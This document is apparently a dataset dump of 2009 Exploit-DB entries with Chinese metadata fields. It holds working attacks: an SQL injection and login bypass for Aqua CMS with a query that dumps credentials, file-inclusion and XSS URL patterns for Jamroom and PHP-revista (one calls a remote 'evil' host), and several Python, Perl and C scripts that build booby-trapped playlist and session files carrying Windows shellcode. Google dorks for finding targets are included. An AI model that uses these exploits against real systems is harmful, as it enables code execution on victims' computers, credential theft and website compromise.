QLWD/code_shield huggingface dataset:
标题: Aqua CMS - 'Username' SQL Injection EDB-ID: 8432 CVE: 2009-1317 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-14 漏洞利用脚本: ================================================================================

Found : halkfild
Dork : "Powered By Aqua Cms"
Vendor: http://www.aquacms.net/
Advisory URL: http://crackfor.me/bugtraq/aquacms.v1.1.txt
Visit : crackfor.me, forum.antichat.ru, raz0r.name
Mail : bugtraq[d0g]crackfor.me
Home : http://crackfor.me - online md5 crack service

================================================================================

  SQL-injections:
  Need: magic quotes = off


 vuln file: /droplets/functions/base.php
 vuln code:

65:// Check the status of the orders

if(isset($_COOKIE["userSID"])) {
$sqltable = $sitename."_orders";
$selck = $_COOKIE["userSID"];
mysql_select_db($database, $dbconnect);
$query_cartcheck = "SELECT SID FROM $sqltable WHERE SID = '$selck' AND status = 1";  
$cartcheck = mysql_query($query_cartcheck, $dbconnect) or die(mysql_error());
$row_cartcheck = mysql_fetch_assoc($cartcheck);
$totalRows_cartcheck = mysql_num_rows($cartcheck);

if ($totalRows_cartcheck != 0) {
 $user_ip_address = $_SERVER['REMOTE_ADDR'];
 $dt=date("YmdHis"); 
 $UID="$dt$user_ip_address";
 setcookie("userSID", $UID, time()+36000);
}

}


PoC: COOKIE: userSID='[foo]

users passwords: select concat_ws(0x3a3a,username,password)+from+aqua.[prefix_here]_users+--+

-----------------------------------------------------------------------------------


  Auth bypass
  Need: magic quotes = off

 vuln file: /admin/index.php
 vuln code:

10:
if (isset($_POST['username']) == TRUE) {
 $uusername = $_POST['username'];
 $upassword = $_POST['password'];
 $sqltable = $sitename."_users";
 mysql_select_db($database, $dbconnect);
 $query_getuser = "
 SELECT * 
 FROM $sqltable 
 WHERE username = '$uusername' 
 AND password = '$upassword' 
 AND groups != '' 
 ";
 $getuser = mysql_query($query_getuser, $dbconnect) or die("Unable to select database");
 $row_getuser = mysql_fetch_assoc($getuser);
 $totalRows_getuser = mysql_num_rows($getuser);
 
 if ($totalRows_getuser == 1) {
  $uid = $row_getuser['id'];
  $uun = $row_getuser['username'];
  $ugr = $row_getuser['groups'];
  $setwsuser = $uid.":".$uun.":".$ugr; 
  //setcookie("wsuser", $setwsuser, time()+36000, '/');
  //header("Location: index.php");
 } 
 
// User logon: end
}


PoC: POST: username='[foo]
Exploit: POST: username=crackfor.me'+or+1=1+limit+1+--+ 

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8432
标题: Easy RM to MP3 Converter - Universal Stack Overflow EDB-ID: 8427 CVE: 2009-1330 2009-1329 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-14 漏洞利用脚本: #!/usr/bin/python
# Easy RM to MP3 Converter Universall Stack Overflow Exploit
# By Stack
# hihihi
# StaKer : Only Fabri Fibra :d
header = (
"\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D"
"\x0A\x4E\x75\x6D\x62\x65\x72\x4F\x66\x45"
"\x6E\x74\x72\x69\x65\x73\x3D\x31\x0A\x46"
"\x69\x6C\x65\x31\x3D")
junk = "\x41"*1244
eip = "\xDB\x70\xBB\x01" #  Universall Adress
 # Abouts addres
 # Executable modules, item 5
 # Base=01A20000
 # Size=0049D000 (4837376.)
 # Entry=01B835B1 MSRMCu_3.<ModuleEntryPoint>
 # Name=MSRMCu_3
 # Path=C:\Program Files\Easy RM to MP3 Converter\MSRMCutility04.dll

nops = "\x90" * 20
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
ex = header+junk+eip+nops+shellcode
file=open("Exploit.pls","w")
file.write(ex)
file.close()

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8427
标题: Jamroom 4.0.2 - 't' Local File Inclusion EDB-ID: 8423 CVE: 2009-1318 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-14 漏洞利用脚本: [o]-----------------------------------------------------------------------------------------------------------------[x]
 |  Local File Include Vulnerability                                                    |
[o]------------------------------------------------------------------------------------[o]
 |  Software : Jamroom version 3.1.2 , 3.2.3 , 3.2.4 , 3.2.5 , 3.2.6 , 4.0.2            |
 |  Vendor   : www.jamroom.net                                                          |
 |  Date     : 12 March 2009                                                            |
 |  Author   : zxvf                                                                     |
 |  Contact  : yuvant2blue@yahoo.co.id                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    "Powered by Jamroom"

[Â»] Exploit

    http://[site]/index.php?t=[LFI]%00

[Â»] Proof of Concept

    http://www.earplugradio.com//index.php?t=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  c0li, OoN_Boy, pizzyroot, H312Y, eminem, xx_user, NoGe                              |
 |  Armageddon Team, avatar team, and all indonesian hacker!                            |
 |  BeHave oR BeGone !!!                                                                |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8423
标题: PHP-revista 1.1.2 - Remote File Inclusion / SQL Injection / Authentication Bypass / Cross-Site Scripting EDB-ID: 8425 CVE: 2006-4608 2006-4607 2006-4606 2006-4605 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-14 漏洞利用脚本: Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena='+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email='+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8425
标题: Mini-stream Ripper 3.0.1.1 - '.m3u' Universal Stack Overflow EDB-ID: 8416 CVE: 2009-1325 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
# Mini-stream Ripper Version 3.0.1.1 .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
my $Header = "#EXTM3U\n";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $ex="http://"."A" x 26117;
my $ret="\x1D\xE3\x07\x02"; # Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      # "\x5D\x38\x82\x7C";
my $nop="\x90" x 20;
open(MYFILE,'>>Mini-stream-Ripper.m3u');
print MYFILE $Header.$ex.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8416
标题: BulletProof FTP Client 2009 - '.bps' Local Buffer Overflow (SEH) EDB-ID: 8420 CVE: 2008-5754 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/python
#[*] Bug :      BulletProof FTP Client 2009 (.bps) Buffer Overflow Exploit (SEH)
#[*] Credits :      Stack
#[*] Tested on :    Xp sp2 (fr)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com
#[*] Chi3arona houa :        Serra7 merra7,koulchi mderra7 :D
#[*] translate by Cyb3r-1st: esse7 embe7 embou :D

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x71"
"\x4f\xd8\x8d\x83\xeb\xfc\xe2\xf4\x8d\xa7\x9c\x8d\x71\x4f\x53\xc8"
"\x4d\xc4\xa4\x88\x09\x4e\x37\x06\x3e\x57\x53\xd2\x51\x4e\x33\xc4"
"\xfa\x7b\x53\x8c\x9f\x7e\x18\x14\xdd\xcb\x18\xf9\x76\x8e\x12\x80"
"\x70\x8d\x33\x79\x4a\x1b\xfc\x89\x04\xaa\x53\xd2\x55\x4e\x33\xeb"
"\xfa\x43\x93\x06\x2e\x53\xd9\x66\xfa\x53\x53\x8c\x9a\xc6\x84\xa9"
"\x75\x8c\xe9\x4d\x15\xc4\x98\xbd\xf4\x8f\xa0\x81\xfa\x0f\xd4\x06"
"\x01\x53\x75\x06\x19\x47\x33\x84\xfa\xcf\x68\x8d\x71\x4f\x53\xe5"
"\x4d\x10\xe9\x7b\x11\x19\x51\x75\xf2\x8f\xa3\xdd\x19\xbf\x52\x89"
"\x2e\x27\x40\x73\xfb\x41\x8f\x72\x96\x2c\xb9\xe1\x12\x4f\xd8\x8d")

header1=(
"\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x42\x75\x6c\x6c\x65\x74"
"\x50\x72\x6f\x6f\x66\x20\x46\x54\x50\x20\x43\x6c\x69\x65\x6e\x74"
"\x20\x53\x65\x73\x73\x69\x6f\x6e\x2d\x46\x69\x6c\x65\x20\x61\x6e"
"\x64\x20\x73\x68\x6f\x75\x6c\x64\x20\x6e\x6f\x74\x20\x62\x65\x20"
"\x6d\x6f\x64\x69\x66\x69\x65\x64\x20\x64\x69\x72\x65\x63\x74\x6c"
"\x79\x2e\x0d\x0a")

exploit =  "passwords.hotmail.com"
exploit += "\x90"*68
exploit += "\x74\x06\x90\x90" #oplaa!
exploit += "\x98\x6A\xBF\x74" #oleacc.dll (xp sp2)
exploit += shellcode

header2=(
"\x0a\x32\x31\x0d\x0a\x41\x42\x41\x42\x43\x0d\x0a\x62\x70\x68\x67\x71"
"\x64\x6e\x62\x6a\x6a\x67\x61\x65\x62\x0d\x0a\x63\x3a\x5c\x0d\x0a"
"\x2f\x0d\x0a")

vuln = header1 + exploit + header2

try:
    out_file = open("sploit.bps",'w')
    out_file.write(vuln)
    out_file.close()
    print "\nSession file created!\n\nNow Go to: file>Load BP Session then chose it and clic Connect\n"
except:
    print "Error!"

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8420
标题: ASX to MP3 Converter 3.0.0.7 - '.m3u' Universal Stack Overflow EDB-ID: 8412 CVE: 2009-1324 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
# ASX to MP3 Converter Version 3.0.0.7 .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
my $Header = "#EXTM3U\n";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $ex="http://"."A" x 26117;
my $ret="\xBE\x2F\x38\x02";     # Universall Ret Adress and if you want Tes under SP 2 EN/FR use this >>
      # "\x5D\x38\x82\x7C";
my $nop="\x90" x 20; 
open(MYFILE,'>>ASX2MP3Converte.m3u');
print MYFILE $Header.$ex.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8412
标题: Mini-stream RM-MP3 Converter 3.0.0.7 - '.m3u' Local Stack Overflow EDB-ID: 8413 CVE: 2009-1328 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
# Mini-stream RM-MP3 Converter Version 3.0.0.7  .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
my $Header = "#EXTM3U\n";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $ex="http://"."A" x 26117;
my $ret="\x3D\x0C\x04\x02";    # Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      # "\x5D\x38\x82\x7C";
my $nop="\x90" x 20; 
open(MYFILE,'>>Mini-stream-RM-MP3.m3u');
print MYFILE $Header.$ex.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8413
标题: RM Downloader 3.0.0.9 - '.m3u' Universal Stack Overflow EDB-ID: 8410 CVE: 2009-1326 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: #!/usr/bin/perl
# RM Downloader Version 3.0.0.9 .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
my $Header = "#EXTM3U\n";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $ex="http://"."A" x 26117;
my $ret="\x17\x48\xF8\x01"; # Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      # "\x5D\x38\x82\x7C";
my $nop="\x90" x 20; 
open(MYFILE,'>>RM-Downloader.m3u');
print MYFILE $Header.$ex.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8410
标题: WM Downloader 3.0.0.9 - '.m3u' Universal Stack Overflow EDB-ID: 8411 CVE: 2009-1327 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-13 漏洞利用脚本: /*
# WM Downloader Version 3.0.0.9 .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
# Thnx : HOD The Best Metasploiter
*/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define OFFSET       26117
char header1[]="\x23\x45\x58\x54\x4D\x33\x55\r\n";
char header2[]="http://";
char scode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a";
char nop[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
int main(void){
    FILE *p;
    unsigned char *buffer;
    int ret=0x6E7D5C87; // Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      //    0x7C82385D;

    int i=0;
if((p=fopen("WM-Downloader.m3u","wb"))==NULL){
                                    perror("error");
                                    exit(0);
                                    }
buffer=(unsigned char*)malloc(strlen(header1)+strlen(header2)+OFFSET+4+10+351);
memset(buffer, 0x90,strlen(header1)+strlen(header2)+OFFSET+4+10+351);
memcpy(buffer,header1,strlen(header1));
memcpy(buffer+strlen(header1),header2,strlen(header2));
i=OFFSET;
memcpy(buffer+strlen(header1)+strlen(header2)+i,&ret,4);
i+=4;
memcpy(buffer+strlen(header1)+strlen(header2)+i,nop,10);
i+=10;
memcpy(buffer+strlen(header1)+strlen(header2)+i,scode,351);
i+=351;
fputs(buffer,p);
fclose(p);
free(buffer);
return 0;
}

// milw0rm.com [2009-04-13] URL: https://www.exploit-db.com/exploits/8411
标题: OpenBSD 4.5 - IP datagrams Remote Denial of Service EDB-ID: 8406 CVE: 2009-0687 类型: DOS 平台: OPENBSD 发布日期: 2009-04-13 漏洞利用脚本: _   _ _____ _     ___ _____ _   _
                   / / / / ____/ /   /  _/_  __/ / / /
                  / /_/ / __/ / /    / /  / / / /_/ /
                 / __  / /___/ /____/ /  / / / __  /
                /_/ /_/_____/_____/___/ /_/ /_/ /_/
                           Helith - 0815
--------------------------------------------------------------------------------

Author   : Rembrandt
Date   : 2009-04-09
Affected Software: OpenBSD Kernel
Affected OS  : OpenBSD 4.{3,4,5}, OpenBSD-current
     Propably older versions are affected as well
Type   : Denial of Service

OSVDB   : 
Milw0rm   : 
CVE   : 
ISS X-Force:  : 
BID   : 
Secunia   : 34676 
VUPEN ID  : 

Trying to fix it responsible and get in contact with the vendor:

-- OpenBSD --
Contacted   2009-04-09 15:35 GMT+1
Patch avaiable  2009-04-11 23:43 UTC

We received no response nor a notification about an upcoming patch by
the developers.
